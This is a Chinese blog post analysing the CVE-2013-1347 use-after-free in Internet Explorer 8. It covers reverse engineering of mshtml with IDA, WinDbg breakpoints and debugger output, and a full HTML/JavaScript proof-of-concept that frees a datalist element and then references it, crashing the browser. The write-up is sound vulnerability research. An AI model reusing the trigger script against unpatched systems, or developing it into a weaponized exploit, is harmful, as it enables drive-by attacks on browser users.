CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
0x01 2013 年 “水坑” APT 攻击事件
- 在 2013 年 5 月,美国的劳工部网站被黑,利用的正是 CVE-2013-1347 这个漏洞,在当时导致大量使用 IE8 访问网站的用户受到攻击,微软也发布紧急公告。从水坑攻击的过程来看,入侵者先是攻克了这些网站的服务器,之后把能触发 CVE-2013-1347 漏洞的恶意脚本代码添加到网站加载页面,当受害者使用 IE8 浏览器访问美国劳工部网站时就会在本地加载 mshtml.dll 和 jscript.dll 两个动态链接库来解析,从而触发恶意脚本,这个和蠕虫病毒有类似的地方。提起 APT(全球高级持续性威胁) 大家都不陌生,直到现在 “水坑” 攻击依然是较为流行的 APT 攻击方式
- 分析环境:Windows 7 + IE8 + POC(提取码:04em)
0x02 根据样本分析漏洞成因
- 下面就是能够触发异常的 POC 脚本,来看看这个使用 JavaScript 编写的脚本到底干了些什么:第一步按顺序创建了 3 个 span 元素并且将它们添加到 body 元素的尾部,第二步在 f1 和 f2 的尾部分别创建并添加 datalist 和 table 元素,第三步将 f0 的 offsetParent 属性设置为 null,最后一步将 f1 和 f2 的 innerHTML 属性变为空并且创建了一个 hr 元素添加到 f0 的尾部。在后面的调试中可以知道在做完这些步骤并使用 CollectGarbage 进行垃圾回收后,JS 脚本中的 HTML 元素会被重新被渲染,导致触发异常
注:POC 脚本当中部分已标注原因,比如 require 表示这一步是必须的,少了就不会触发异常
- 使用 Windbg 加载 IE 浏览器后拖入 POC 脚本,会触发以下异常,从细节可以看出 ecx 地址的值是不存在的。注意 Windbg 需要 .childdbg 1 来开启多线程调试,因为 IE 浏览器在处理 JS 脚本时会创建一个新的线程来处理
- 通过查询 ecx 所指向地址的数据发现已经被清空释放了
- 而 ecx 所指向地址的堆也是处于释放状态,根据 UAF 漏洞的原理,可以看出这个堆空间是释放过后又被重新引用了,故触发了异常
- 那么这个堆空间可能与什么有关呢,查询栈中的信息可以看出与两个类的关系十分明显,一个是 CTreeNode 还有一个是 CBlockContainerBlock,所以极有可能是当中的某个对象出了问题
0x03 逆向分析 IE 中的 JS 引擎
- 为什么需要逆向分析 IE 中的 JS 引擎呢,因为针对 UAF 漏洞需要知道每个对象的具体操作内存的细节,而 mshtml.dll 和 jscript.dll 两个动态链接库恰好给予这样的条件让我们去分析
- 首先对 document.createElement(‘span’); 这条语句进行分析,查阅相关资料经过调试后发现该语句实际上由 CDocument::createElement 类函数执行
- 使用 IDA 反汇编 mshtml.dll 动态链接库,可以看到 CDocument::createElement 函数的具体细节,在此函数中会调用 CDocument::CreateElementHelper 函数进行进一步处理。值得注意的是 ecx 当中保存着 CDocument 对象的 this 指针,这时调用 CDocument 类中的函数的必要步骤
- 而 CDocument::CreateElementHelper 函数又会调用 CMarkup::CreateElement 函数处理
- CMarkup::CreateElement 内部再继续调用 CreateElement 函数进行进一步处理
- 最后 call eax 会根据所创建的对象调用不同的函数,比如创建一个 Span 对象会调用 CSpanElement::CreateElement 函数,创建一个 body 对象则会调用 CBodyElement::CreateElement 函数
- 假设创建的是 Span 元素,那么继续分析 CSpanElement::CreateElement 函数,通过 IDA 的符号表可以很容易的排序并找到 CSpanElement::CreateElement 函数的位置
- CSpanElement::CreateElement 函数如下图所示:首先会通过 HeapAlloc 函数申请 0x28 大小的堆空间,申请完堆空间后调用 CElement::CElement 函数
- CElement::CElement 函数的作用是将创建的对象放入刚刚申请的堆空间,eax 就是申请的堆空间地址,这里要注意的是虽然每个元素创建时调用的函数不同,比如 Span 是调用 CSpanElement::CreateElement 函数,但是却都会经过 CElement::CElement 这个函数(除了 body 等元素外)
- 以 Span 元素为例子可以得出创建该元素的调用过程:CDocument::createElement -> CDocument::createElementHelper -> CMarkup::CreateElement -> CreateElement -> CSpanElement::CreateElement -> CElement::CElement
- 逆向完了元素的创建过程,下面再逆向元素的插入过程 appendChild,同样的利用符号表查询插入函数,经过调试后发现 CElement::appendChild 执行了插入元素的操作
- 以同样的方式利用 IDA 反汇编 mshtml.dll,查询 CElement::appendChild,发现其调用 CElement::InsertBefore 函数
- 而 CElement::InsertBefore 函数又会调用 CElement::InsertBeforeHelper 函数进行处理
- 在 CElement::InsertBeforeHelper 函数中首先会使用 CElement::GetDOMInsertPosition 函数获取被插入的节点,以 span 元素为例,body 就是将要被插入的节点
- 之后再调用 CDoc::InsertElement 函数
- 在 CDoc::InsertElement 函数中又会调用 CMarkup::InsertElementInternal 函数做进一步的处理
- 最后看一下 CMarkup::InsertElementInternal 函数,在 0x74d40ce5 的地方申请了 0x4c 大小的堆空间,申请的堆空间首地址会存放在 eax 当中,在由 ecx 传入 CTreeNode::CTreeNode 函数中,结合 C++ 类的反汇编可以分析出这里是动态申请了 CTreeNode 对象并且调用了类对象中的 CTreeNode 函数
- 所以以 span 元素的插入为例,函数调用过程如下:CElement::appendChild -> CElement::InsertBefore -> CElement::InsertBeforeHelper -> CDoc::InsertElement -> CMarkup::InsertElementInternal -> CTreeNode::CTreeNode
- 由于上面已经分析了元素的创建和插入过程,所以下面对 CTreeNode 对象的地址和 CElement 对象的地址下记录断点,注意 CElement::CElement 会断下两处地址,需要结合前面的分析选择正确的 CElement::CElement 函数
(1) bu mshtml!CMarkup::InsertElementInternal+0x1de ".echo '=== CTreeNode ==='; dd eax l1; dps poi(eax) l1;gc" (2) bu mshtml!CElement::CElement + 0x1e ".echo '=== CElement ==='; dd edi l(28/4);gc" (3) bu mshtml!CreateElement+0x41 "ln eax;gc"(这里会断下两个地址,本人计算机是下面这个) (4) bp 74d64bb0+37 "ln eax;gc"
注:第一个断点打印出 CTreeNode 对象的地址,第二个断点打印出 CElement 对象的地址,第三个断点打印出创建的对象是哪一个对象
- 打印出的信息如下所示:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0c574fd8 74c254b0 00000001 00000008 00000000
0c574fe8 00000000 00000000 00000000 00000000
0c574ff8 00000000 00000000
'=== CTreeNode ==='
0c852fb0 0c574fd8
0c574fd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a) mshtml!CSpanElement::CreateElement | (74d1b0c8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0bf6afd8 74c254b0 00000001 00000008 00000000
0bf6afe8 00000000 00000000 00000000 00000000
0bf6aff8 00000000 00000000
'=== CTreeNode ==='
0c63efb0 0bf6afd8
0bf6afd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a) mshtml!CSpanElement::CreateElement | (74d1b0c8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0c50efd8 74c254b0 00000001 00000008 00000000
0c50efe8 00000000 00000000 00000000 00000000
0c50eff8 00000000 00000000
'=== CTreeNode ==='
0c644fb0 0c50efd8
0c50efd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74c4c234) mshtml!CGenericElement::CreateElement | (74c4c279) mshtml!CGenericElement::CGenericElement
Exact matches:
mshtml!CGenericElement::CreateElement = <no type information>
'=== CElement ==='
0a242fc8 74c254b0 00000001 00000008 00000000
0a242fd8 00000000 00000000 00000000 00000000
0a242fe8 00000000 00000000
'=== CTreeNode ==='
0be8cfb0 0a242fc8
0a242fc8 74c4c2e8 mshtml!CGenericElement::`vftable'
(74d1cea7) mshtml!CTable::CreateElement | (74d1cee8) mshtml!CTable::CTable
Exact matches:
mshtml!CTable::CreateElement = <no type information>
'=== CElement ==='
09d88fb8 74c254b0 00000001 00000008 00000000
09d88fc8 00000000 00000000 00000000 00000000
09d88fd8 00000000 00000000
'=== CTreeNode ==='
0be92fb0 09d88fb8
09d88fb8 74c263c8 mshtml!CTable::`vftable'
(74cccbf0) mshtml!CHRElement::CreateElement | (74cccc44) mshtml!CLSID_HTMLSelectElement
Exact matches:
mshtml!CHRElement::CreateElement = <no type information>
'=== CElement ==='
0cdeffd8 74c254b0 00000001 00000008 00000000
0cdeffe8 00000000 00000000 00000000 00000000
0cdefff8 00000000 00000000
'=== CTreeNode ==='
0c7f2fb0 0cdeffd8
0cdeffd8 74c29160 mshtml!CHRElement::`vftable'
(21c.41c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=75155100 ebx=0be8cfb0 ecx=0a242fc8 edx=00000000 esi=086ff3e8 edi=00000000
eip=74ddc400 esp=086ff3bc ebp=086ff3d4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
mshtml!CElement::Doc:
74ddc400 8b01 mov eax,dword ptr [ecx] ds:002b:0a242fc8=????????
- 最后触发异常访问的确实是一个对象的地址,那么到底是哪一个对象呢,往上寻找就可以发现原来是 datalist 元素(CGenericElement)的 CTreeNode 对象,这个对象就是引发释放重引用的元凶
注:在进行记录断点时,最好先使用 sxe ld:mshtml 断下 mshtml 这个模块,之后再下记录断点
- 找到了出问题的元素后,继续对 f0.offsetParent=null 语句做逆向分析,看看这条语句会对 datalist 对象干些什么。查询符号表后发现 CElement::get_offserParent 这个函数最有可能执行 f0.offsetParent = null 这条语句,在之后的调试中也证明了这一点
- 使用 IDA 分析 CElement::get_offserParent 函数,发现其会调用 CElement::GetOffserParentHelper 函数
- 为了弄清楚 CElement::GetOffserParentHelper 到底对 datalist(CGenericElement )元素的 CTreeNode 这个对象做了哪些操作,所以在该函数头部和尾部下断点,对比分析 CTreeNode 的内存情况
- 结合上面的断点,一共是下了 5 个记录断点:
- 再次运行后,断在了 CElement::GetOffserParentHelper 函数的开头处,结合打印出的数据查看此时 datalist 元素的 CTreeNode 对象
- 之后在 CElement::GetOffserParentHelper 函数的结尾处断下,依照同样的方法查看 datalist 元素的 CTreeNode 对象,对比后发现差别较为明显的是 CTreeNode 对象 +8 和 +C 处的两个数据,这两个数据在一开始均处于未初始化状态,所以为 fff…,执行完 CElement::GetOffserParentHelper 函数之后才被赋值,之后结合旧的 IE 源码发现 CTreeNode 对象 +C 是定义 CharFormat 的整数值,如果该整数值小于 0 就不会重新渲染 HTML 元素,而 CElement::GetOffserParentHelper 将值变为了 2 导致还会对 HTML 做渲染
- 重新下断点在调试一遍
- 打印结果如下图所示:
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0c446fd8 74c254b0 00000001 00000008 00000000
0c446fe8 00000000 00000000 00000000 00000000
0c446ff8 00000000 00000000
'=== CTreeNode ==='
0bfd0fb0 0c446fd8
0c446fd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a) mshtml!CSpanElement::CreateElement | (74d1b0c8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0a434fd8 74c254b0 00000001 00000008 00000000
0a434fe8 00000000 00000000 00000000 00000000
0a434ff8 00000000 00000000
'=== CTreeNode ==='
0a328fb0 0a434fd8
0a434fd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a) mshtml!CSpanElement::CreateElement | (74d1b0c8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0d1acfd8 74c254b0 00000001 00000008 00000000
0d1acfe8 00000000 00000000 00000000 00000000
0d1acff8 00000000 00000000
'=== CTreeNode ==='
0a35cfb0 0d1acfd8
0d1acfd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74c4c234) mshtml!CGenericElement::CreateElement | (74c4c279) mshtml!CGenericElement::CGenericElement
Exact matches:
mshtml!CGenericElement::CreateElement = <no type information>
'=== CElement ==='
0be15fc8 74c254b0 00000001 00000008 00000000
0be15fd8 00000000 00000000 00000000 00000000
0be15fe8 00000000 00000000
'=== CTreeNode ==='
0a3fbfb0 0be15fc8
0be15fc8 74c4c2e8 mshtml!CGenericElement::`vftable'
(74d1cea7) mshtml!CTable::CreateElement | (74d1cee8) mshtml!CTable::CTable
Exact matches:
mshtml!CTable::CreateElement = <no type information>
'=== CElement ==='
0c50efb8 74c254b0 00000001 00000008 00000000
0c50efc8 00000000 00000000 00000000 00000000
0c50efd8 00000000 00000000
'=== CTreeNode ==='
0a302fb0 0c50efb8
0c50efb8 74c263c8 mshtml!CTable::`vftable'
(74cccbf0) mshtml!CHRElement::CreateElement | (74cccc44) mshtml!CLSID_HTMLSelectElement
Exact matches:
mshtml!CHRElement::CreateElement = <no type information>
'=== CElement ==='
0bc82fd8 74c254b0 00000001 00000008 00000000
0bc82fe8 00000000 00000000 00000000 00000000
0bc82ff8 00000000 00000000
'=== CTreeNode ==='
0a485fb0 0bc82fd8
0bc82fd8 74c29160 mshtml!CHRElement::`vftable'
(1290.41c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=75155100 ebx=0a3fbfb0 ecx=0be15fc8 edx=00000000 esi=0868f3e8 edi=00000000
eip=74ddc400 esp=0868f3bc ebp=0868f3d4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
mshtml!CElement::Doc:
74ddc400 8b01 mov eax,dword ptr [ecx] ds:002b:0be15fc8=????????
- 使用 !heap -p -a 命令查询 datalist 元素对象地址和 datalist 元素所对应的 CTreeNode 对象的地址,发现 datalist 的 CTreeNode 对象并没有被释放而 datalist 的对象则已经被释放了,而 CTreeNode 的头 4 个字节却依然指向已释放的 datalist 对象,这也是释放后所引用导致异常的对象
- 如果是去掉了 f0.offsetParent=null; 这条语句,对比之后可以发现 datalist 元素对象和 datalist 元素的 CTreeNode 对象都会被释放
0x04 追根溯源,分析漏洞本质
- 从上面的一系列的分析中可以得出,datalist 元素的 CTreeNode 对象会因为 f0.offsetParent=null; 这条语句误认为被渲染过,所以导致 CTreeNode 对象并不会被释放,而 CTreeNode 对象却依然指向已被释放的 datalist 元素对象,那么为什么会导致 CTreeNode 对象没有被释放呢?我们重新看一下漏洞触发点的栈结构:
- ebx 中储存着 datalist 元素的 CTreeNode 对象 0aabefc8,从上面的栈回溯可以看出最早使用 0d332fb0 的函数是 ISpanQualifier::GetFancyFormat
- 使用 IDA 分析这个函数,而 datalist 元素的 CTreeNode 对象就是通过 eax 传入的
- 通过栈回溯的信息发现 SRunPointer::HasInlineMbp 函数会调用 SLayoutRun::HasInlineMbp 函数,而在这之前会调用 SRunPointer::SpanQualifier 函数
- 这个就是 SRunPointer::SpanQualifier 函数的内部,对这个函数下断点看看对 eax 做了哪些操作
- 在 SRunPointer::SpanQualifier 函数断下,使用 t 命令进入这个函数并继续向下调试,发现此时 eax = eax + 4
- 在函数的最后 eax = eax + c,之后函数返回,查询 eax 对象的虚表指针发现是 span,这里只是以 span 为例子,datalist 元素对象创建之后这里的对象就会是 datalist,所以推导出 eax = [eax + 4] + c
- 那么 eax + 4 的地址是什么呢,为了方便推导,所以将脚本改成了如下所示:
<!doctype html> <!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
Math.atan2(1, "[*] Create f0(span)...");
// 创建 span 元素 f0,并且添加到 body 的尾端
f0=document.createElement('span');
document.body.appendChild(f0);
Math.atan2(1, "[*] Create f1(span)...");
// 创建 span 元素 f1,并且添加到 body 的尾端
f1=document.createElement('span');
document.body.appendChild(f1);
Math.atan2(1, "[*] Create f2(span)...");
// 创建 span 元素 f2,并且添加到 body 的尾端
f2=document.createElement('span');
document.body.appendChild(f2);
Math.atan2(1, "[*] f2 appendChild datalist...");
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist')); //has to be a data list
Math.atan2(1, "[*] f1 appendChild table...");
f1.appendChild(document.createElement('table')); //has to be a table
try{
Math.atan2(1, "[*] Set f0 offsetParent NULL...");
f0.offsetParent=null; //required
}catch(e){ }
Math.atan2(1, "[*] Set f2 innerHTML NULL...");
f2.innerHTML=""; //required
// 改变 DOM 树进行重绘
Math.atan2(1, "[*] Set f0 innerHTML hr...");
f0.appendChild(document.createElement('hr')); //required
Math.atan2(1, "[*] Set f1 innerHTML NULL...");
f1.innerHTML=""; //required
Math.atan2(1, "[*] Collect Garbage...");
CollectGarbage();
Math.atan2(1, "[*] End !!!");
// 代码执行后会引用 datalist 这个对象
</script>
</body>
</html>
- 并且在下 bu jscript!JsAtan2 “.printf “%mu”, poi(poi(poi(esp+14)+8)+8); .echo” 断点,结合上面的断点一共是 5 个断点
- 打印信息如下所示:最后一次 eax+4 指向的地址是 0a443fd0
- 查询 0a443fd0 的内存数据,发现 0a443fd0 + c,也就是 [eax + 4] + c 的地址正好是漏洞异常处 ebx 中的值,ebx 指向的就是 datalist 元素的 CTreeNode 对象
- 通过对 eax + 4 的地址进行栈回溯,查阅相关资料后发现 eax + 4 地址的数据结构是在构造 CTextBlock 时生成的,并且 CTextBlock + 0x58 保存着 eax + 4 地址的数据结构
- 那么这个 eax + 4 的数据结构是干啥用的呢,原来这个数据结构是用来储存 span 和 datalist 元素的嵌套关系的(
<span><datalist></datalist></span>
),如下图所示,0bd6afb0 是 span 元素的对象,而 0c227fb0 表示 datalist 元素的 CTreeNode 对象
- 之后将 f0.offsetParent=null; 语句注释掉后,下如下断点
- 发现并没有异常,而是顺利的运行了脚本,运行一段时间之后通过点击 Windbg 的 Debug -> break 按钮暂停调试
- 向上找到 datalist 元素的 CTreeNode 对象地址为 0x0d01afb0,并且向下寻找这个对象地址,发现并没有找到,所以之前的 eax + 4 地址的内存数据结构并没有记录 datalist 元素的 CTreeNode 对象地址,也就是没有储存 span 元素和 datalist 元素的嵌套关系,所以这也是漏洞形成的根本原因
0x05 总结
- 分析了这么多发现其实 CVE-2013-1347 漏洞的根本原因在于设置 f0.offsetParent=null; 后导致 datalist 元素误认为被渲染过,所以导致 eax + 4 地址中的数据结构依然储存着 span 和 datalist 元素 CTreeNode 对象的嵌套关系,导致 CTreeNode 所在的堆空间并没有被释放掉,而 CTreeNode 保存着已释放的 datalist 对象的堆空间首地址,在垃圾回收之后,浏览器重新渲染元素导致被释放的 datalist 对象再一次被引用到,从而触发了漏洞
CVE-2013-1347 的分析到此结束,如有错误,欢迎指正(天哪终于分析完了)
参考资料:0day安全:软件漏洞分析技术 + 漏洞战争
CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞的更多相关文章
- 一文入门Linux下gdb调试(二)
作者:良知犹存 转载授权以及围观:欢迎添加微信号:Conscience_Remains 总述 今天我们介绍一下core dump文件,Core dump叫做核心转储,它是进程运行时在突然崩溃的 ...
- CYQ.Data 从入门到放弃ORM系列:开篇:自动化框架编程思维
前言: 随着CYQ.Data 开始回归免费使用之后,发现用户的情绪越来越激动,为了保持这持续的激动性,让我有了开源的念头. 同时,由于框架经过这5-6年来的不断演进,以前发的早期教程已经太落后了,包括 ...
- [精品书单] C#/.NET 学习之路——从入门到放弃
C#/.NET 学习之路--从入门到放弃 此系列只包含 C#/CLR 学习,不包含应用框架(ASP.NET , WPF , WCF 等)及架构设计学习书籍和资料. C# 入门 <C# 本质论&g ...
- OpenStack从入门到放弃
OpenStack从入门到放弃 目录: 为何选择云计算/云计算之前遇到的问题 什么是云计算 云服务模式 云应用形式 传统应用与云感知应用 openstack及其相关组件介绍 flat/vlan/gre ...
- 绕过校园网的共享限制 win10搭建VPN服务器实现--从入门到放弃
一.开篇立论= =.. 上次说到博主在电脑上搭建了代理服务器来绕过天翼客户端的共享限制,然而经过实际测试还不够完美,所以本着生命不息,折腾不止的精神,我又开始研究搭建vpn服务器= =... (上次的 ...
- 《区块链:从入门到放弃》之obc安装步骤
obc安装步骤 朋友们可能会好奇,厨师不研究菜谱怎么改研究兵法了,哈哈,我原本是app出身,最近被安排去预研区块链和比特币技术,2个月下来,颇有斩获.期间得到IBM的CC同学指导我一步一步安装obc的 ...
- win10搭建代理服务器实现绕过校园网的共享限制--从入门到放弃
博主所在学校特别坑爹,校园网被电信一家垄断了,而且最恶心的还是电信要求一条网线只能供一台电脑上网,不许接路由器共享网络= =- (还有电信2M价格是380+每年,20m是500每年,而且网速都很慢= ...
- WPF从入门到放弃系列第二章 XAML
本文是作者学习WPF从入门到放弃过程中的一些总结,主要内容都是对学习过程中拜读的文章的整理归纳. 参考资料 XAML 概述 (WPF):https://msdn.microsoft.com/zh-cn ...
- Android -- 带你从源码角度领悟Dagger2入门到放弃
1,以前的博客也写了两篇关于Dagger2,但是感觉自己使用的时候还是云里雾里的,更不谈各位来看博客的同学了,所以今天打算和大家再一次的入坑试试,最后一次了,保证最后一次了. 2,接入项目 在项目的G ...
随机推荐
- Python中面向对象的概念
1.语言的分类 1)面向机器 抽象成机器指令,机器容易理解.代表:汇编语言. 2)面向过程 做一件事,排除步骤,第一步做什么,第二步做什么,如果出现A问题,做什么处理,出现b问题,做什么处理.问题规模 ...
- MySQL深入研究--学习总结(5)
前言 接上文,继续学习后续章节.细心的同学已经发现,我整理的并不一定是作者讲的内容,更多是结合自己的理解,加以阐述,所以建议结合原文一起理解. 第20章<幻读是什么,幻读有什么问题?> 先 ...
- python写一个学生信息管理系统
#coding:utf-8 2 info = []#全局变量 3 def info_print(): 4 print("请选择功能:") 5 print("1:添加学员& ...
- python3 循环位移动
python3 中 >> 为算术右移位,高位补符号位: <<为左移位,低位补0: 1 # 假如将一个无符号的数据val,长度为N,需要循环移动n位.可以利用下面的公式: 2 ...
- 在B站刷视频多倍速操作
B站多倍数播放 1. 最初天真版 F12 或者笔记本(Fn+F12) console控制台 输入 document.querySelector('video').playbackRate = 4: - ...
- 力扣 - 208. 实现Trie(前缀树)
目录 题目 思路 代码 复杂度分析 题目 208. 实现 Trie (前缀树) 思路 在我们生活中很多地方都用到了前缀树:自动补全,模糊匹配,九宫格打字预测等等... 虽然说用哈希表也可以实现:是否出 ...
- java 基础知识储备
初始JAVA JAVA 帝国的诞生 1972年C诞生 贴近硬件,运行极快,效率极高. 操作系统,编译器,数据库,网络系统等 指针和内存管理 1982年C++诞生 面向对象 兼容C 图形领域.游戏等 纵 ...
- python基础(一):变量和常量
变量 什么是变量 变量,用于在内存中存放程序数据的容器.计算机的核心功能就是"计算",CPU是负责计算的,而计算需要数据吧?数据就存放在内存里,例如:将梁同学的姓名,年龄存下来,让 ...
- OO_Unit1总结
OO的第一单元作业告一段落,这周是总结而不是码代码,甚至心中有点落空感.OO课给我的一周构建了一个完整的循环,从周二的作业发布到接下来几天的思考和构建程序,再到面向中测进行一部分的bug修复,最后到互 ...
- vite 动态 import 引入打包报错解决方案
关注公众号: 微信搜索 前端工具人 ; 收货更多的干货 原文链接: 自己掘金文章 https://juejin.cn/post/6951557699079569422/ 关注公众号: 微信搜索 前端工 ...